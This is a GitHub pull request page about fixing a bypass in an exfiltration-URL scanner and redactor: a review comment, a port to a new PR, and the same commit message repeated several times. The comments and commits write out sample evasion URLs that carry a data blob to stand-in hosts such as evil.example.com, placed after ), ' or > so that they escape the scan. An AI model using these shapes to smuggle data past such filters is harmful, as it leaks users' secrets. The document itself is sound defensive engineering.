Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 When no wrapper closer is terminal, the redaction span swallows the markup and prose after the URL.

The regex now stops only at whitespace and ". The wrapper trim fires only when the closer is the last byte (plus sentence punctuation), or, for ', when ,}]: follows. Otherwise nothing is trimmed, and the splice replaces everything up to the next space. The redacted text is persisted, so the loss is permanent.

        wrapper_end = end
        while wrapper_end > 0 and path_and_query[wrapper_end - 1] in _URL_WRAPPER_PUNCTUATION:
            wrapper_end -= 1
        if wrapper_end > 0 and path_and_query[wrapper_end - 1] == closer:

Why it matters: <a href='https://evil.example.com/a?data=<blob>'>label</a> loses >label</a>, and <https://evil.example.com/?d=<blob>>text after loses text. On main the ' and > ended the span, so only the URL was replaced. This is new over-redaction.

Suggestion: for the trimmed span, cut at the first unbalanced closer of the proven pair, not only at a terminal one, and accept > after a closing '. With the two-span rule from comment 1, this cannot reopen a bypass: if the trimmed span is clean but the maximal span is flagged, the maximal span is still redacted. Add both inputs above as tests that assert the exact output text.
Rule: docs/system-specs/modules/security.md (redaction replaces the classified URL only).

@bolichen97

Copy link
Copy Markdown
Contributor

Thank you @patrigao for finding and fixing this scan bypass, and for the careful work across the review rounds on the span model.

Main has since moved these URL rules into exfil_url_rules.py and rewritten the redact loop, so this branch can no longer be rebased cleanly. I have ported the fix to current main in #26741, with you as co-author on the commit:

  • The scanner reads past ), ' and > and matches an uppercase scheme, so each bypass you reported here is caught.
  • It also closes the single-quote case that stayed open on this head ('https://host/a?x=1',<blob>) and the same shape after a closing paren. It does this with the two-span rule from the earlier review, so there is no per-apostrophe tail scan.
  • A flagged link is still replaced only over its own span, so the markup after it survives.

This PR stays open for now. Please take a look at #26741 and comment there if anything from your version is missing.

bolichen97 added a commit that referenced this pull request Oct 31, 2026
The exfil URL scanner stopped a URL at ), ' or >. Those bytes are
legal in a URL, so a payload placed after one escaped every check:
https://host/a)b?data=<blob>, 'https://host/a?x=1',<blob> and
(https://host/a?x=1)<blob> all scanned clean. An uppercase HTTPS://
scheme was not matched at all.

The scanner and redactor now iterate a scan pattern that is case
insensitive and runs past those bytes to whitespace, a double quote
or the next glued URL. Each match is judged on the old narrow span
first, so a flagged link is replaced as before and the markup after
it survives; only when the narrow span is clean is the whole match
judged and, if flagged, replaced. A tail of punctuation only is not
judged, and in the bytes the whole match adds, each run of non-ASCII
text is judged as one space, so prose glued to a link is not a
payload. The case fold is scoped to the scheme, so any Unicode space
still ends a URL. The allowed-link restore and the prompt optimizer's
draft check read back with the same spans.

Supersedes #7666.

Co-authored-by: patrigao <112447010+patrigao@users.noreply.github.com>
bolichen97 pushed a commit that referenced this pull request Oct 31, 2026
The exfil URL scanner stopped a URL at ), ' or >. Those bytes are
legal in a URL, so a payload placed after one escaped every check:
https://host/a)b?data=<blob>, 'https://host/a?x=1',<blob> and
(https://host/a?x=1)<blob> all scanned clean. An uppercase HTTPS://
scheme was not matched at all.

The scanner and redactor now iterate a scan pattern that is case
insensitive and runs past those bytes to whitespace, a double quote
or the next glued URL. Each match is judged on the old narrow span
first, so a flagged link is replaced as before and the markup after
it survives; only when the narrow span is clean is the whole match
judged and, if flagged, replaced. A tail of punctuation only is not
judged, and in the bytes the whole match adds, each run of non-ASCII
text is judged as one space, so prose glued to a link is not a
payload. The case fold is scoped to the scheme, so any Unicode space
still ends a URL.

When the narrow span passed as a valid S3 presigned query or our own
Slack app-create link, the added bytes are judged as a query of their
own (the Slack alias joins them), so markdown such as ** or | after
the link does not break the exact parameter shape and undo the
exemption.

A match does not stop at a second http(s):// in its narrow span, since
a redirect carries one in its query. So when a match is clean, each
URL starting inside it on a host the exempt set does not hold is
judged under its own host and, when flagged, replaced as its own
span. The walk resumes where each embedded match ends, so a bare-host
decoy does not end it, and stays linear. The allowed-link restore and
the prompt optimizer's draft check read back with the same spans.

Supersedes #7666.

Co-authored-by: patrigao <112447010+patrigao@users.noreply.github.com>
bolichen97 pushed a commit that referenced this pull request Oct 31, 2026
The exfil URL scanner stopped a URL at ), ' or >. Those bytes are
legal in a URL, so a payload placed after one escaped every check:
https://host/a)b?data=<blob>, 'https://host/a?x=1',<blob> and
(https://host/a?x=1)<blob> all scanned clean. An uppercase HTTPS://
scheme was not matched at all.

The scanner and redactor now iterate a scan pattern that is case
insensitive and runs past those bytes to whitespace, a double quote
or the next glued URL. Each match is judged on the old narrow span
first, so a flagged link is replaced as before and the markup after
it survives; only when the narrow span is clean is the whole match
judged and, if flagged, replaced. A tail of punctuation only is not
judged, and in the bytes the whole match adds, each run of non-ASCII
text is judged as one space, so prose glued to a link is not a
payload. The case fold is scoped to the scheme, so any Unicode space
still ends a URL.

When the narrow span passed as a valid S3 presigned query or our own
Slack app-create link, the added bytes are judged as a query of their
own (the Slack alias joins them), so markdown such as ** or | after
the link does not break the exact parameter shape and undo the
exemption.

A match does not stop at a second http(s):// in its narrow span, since
a redirect carries one in its query. So when a match is clean, each
URL starting inside it on a host the exempt set does not hold is
judged under its own host and, when flagged, replaced as its own
span. The walk resumes where each embedded match ends, so a bare-host
decoy does not end it, and stays linear. The allowed-link restore and
the prompt optimizer's draft check read back with the same spans.

Supersedes #7666.

Co-authored-by: patrigao <112447010+patrigao@users.noreply.github.com>
bolichen97 pushed a commit that referenced this pull request Oct 31, 2026
The exfil URL scanner stopped a URL at ), ' or >. Those bytes are
legal in a URL, so a payload placed after one escaped every check:
https://host/a)b?data=<blob>, 'https://host/a?x=1',<blob> and
(https://host/a?x=1)<blob> all scanned clean. An uppercase HTTPS://
scheme was not matched at all.

The scanner and redactor now iterate a scan pattern that is case
insensitive and runs past those bytes to whitespace, a double quote
or the next glued URL. Each match is judged on the old narrow span
first, so a flagged link is replaced as before and the markup after
it survives; only when the narrow span is clean is the whole match
judged and, if flagged, replaced. A tail of punctuation only is not
judged, and in the bytes the whole match adds, each run of non-ASCII
text is judged as one space, so prose glued to a link is not a
payload. The case fold is scoped to the scheme, so any Unicode space
still ends a URL.

When the narrow span passed as a valid S3 presigned query or our own
Slack app-create link, the added bytes are judged as a query of their
own (the Slack alias joins them), so markdown such as ** or | after
the link does not break the exact parameter shape and undo the
exemption.

A match does not stop at a second http(s):// in its narrow span, since
a redirect carries one in its query. So when a match is clean, each
URL starting inside it on a host the exempt set does not hold is
judged under its own host and, when flagged, replaced as its own
span. The walk resumes where each embedded match ends, so a bare-host
decoy does not end it, and stays linear. The allowed-link restore and
the prompt optimizer's draft check read back with the same spans.

Supersedes #7666.

Co-authored-by: patrigao <112447010+patrigao@users.noreply.github.com>
bolichen97 pushed a commit that referenced this pull request Nov 1, 2026
The exfil URL scanner stopped a URL at ), ' or >. Those bytes are
legal in a URL, so a payload placed after one escaped every check:
https://host/a)b?data=<blob>, 'https://host/a?x=1',<blob> and
(https://host/a?x=1)<blob> all scanned clean. An uppercase HTTPS://
scheme was not matched at all.

The scanner and redactor now iterate a scan pattern that is case
insensitive and runs past those bytes to whitespace, a double quote
or the next glued URL. Each match is judged on the old narrow span
first, so a flagged link is replaced as before and the markup after
it survives; only when the narrow span is clean is the whole match
judged and, if flagged, replaced. A tail of punctuation only is not
judged, and in the bytes the whole match adds, each run of non-ASCII
text is judged as one space, so prose glued to a link is not a
payload. The case fold is scoped to the scheme, so any Unicode space
still ends a URL.

When the narrow span passed as a valid S3 presigned query or our own
Slack app-create link, the added bytes are judged as a query of their
own (the Slack alias joins them), so markdown such as ** or | after
the link does not break the exact parameter shape and undo the
exemption.

A match does not stop at a second http(s):// in its narrow span, since
a redirect carries one in its query. So when a match is clean, each
URL starting inside it on a host the exempt set does not hold is
judged under its own host and, when flagged, replaced as its own
span. The walk resumes where each embedded match ends, so a bare-host
decoy does not end it, and stays linear. The allowed-link restore and
the prompt optimizer's draft check read back with the same spans.

Supersedes #7666.

Co-authored-by: patrigao <112447010+patrigao@users.noreply.github.com>
KiroCrewCaptain pushed a commit that referenced this pull request Nov 1, 2026
The exfil URL scanner stopped a URL at ), ' or >. Those bytes are
legal in a URL, so a payload placed after one escaped every check:
https://host/a)b?data=<blob>, 'https://host/a?x=1',<blob> and
(https://host/a?x=1)<blob> all scanned clean. An uppercase HTTPS://
scheme was not matched at all.

The scanner and redactor now iterate a scan pattern that is case
insensitive and runs past those bytes to whitespace, a double quote
or the next glued URL. Each match is judged on the old narrow span
first, so a flagged link is replaced as before and the markup after
it survives; only when the narrow span is clean is the whole match
judged and, if flagged, replaced. A tail of punctuation only is not
judged, and in the bytes the whole match adds, each run of non-ASCII
text is judged as one space, so prose glued to a link is not a
payload. The case fold is scoped to the scheme, so any Unicode space
still ends a URL.

When the narrow span passed as a valid S3 presigned query or our own
Slack app-create link, the added bytes are judged as a query of their
own (the Slack alias joins them), so markdown such as ** or | after
the link does not break the exact parameter shape and undo the
exemption.

A match does not stop at a second http(s):// in its narrow span, since
a redirect carries one in its query. So when a match is clean, each
URL starting inside it on a host the exempt set does not hold is
judged under its own host and, when flagged, replaced as its own
span. The walk resumes where each embedded match ends, so a bare-host
decoy does not end it, and stays linear. The allowed-link restore and
the prompt optimizer's draft check read back with the same spans.

Supersedes #7666.

Co-authored-by: w <w@k.local>
Co-authored-by: patrigao <112447010+patrigao@users.noreply.github.com>
@iamwhatever

Copy link
Copy Markdown
Contributor

Thank you, @patrigao! Issue #7611 was fixed on main by #26741, so this change is no longer needed. Closing; please reopen if you see a case it still misses.

@iamwhatever iamwhatever closed this Nov 5, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

merge conflict Branch has merge conflicts with its base — author must resolve before merge readiness: action required A blocking check or review needs attention

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Exfiltration URL scan stops at a ')' in the path, leaving the query unscanned

4 participants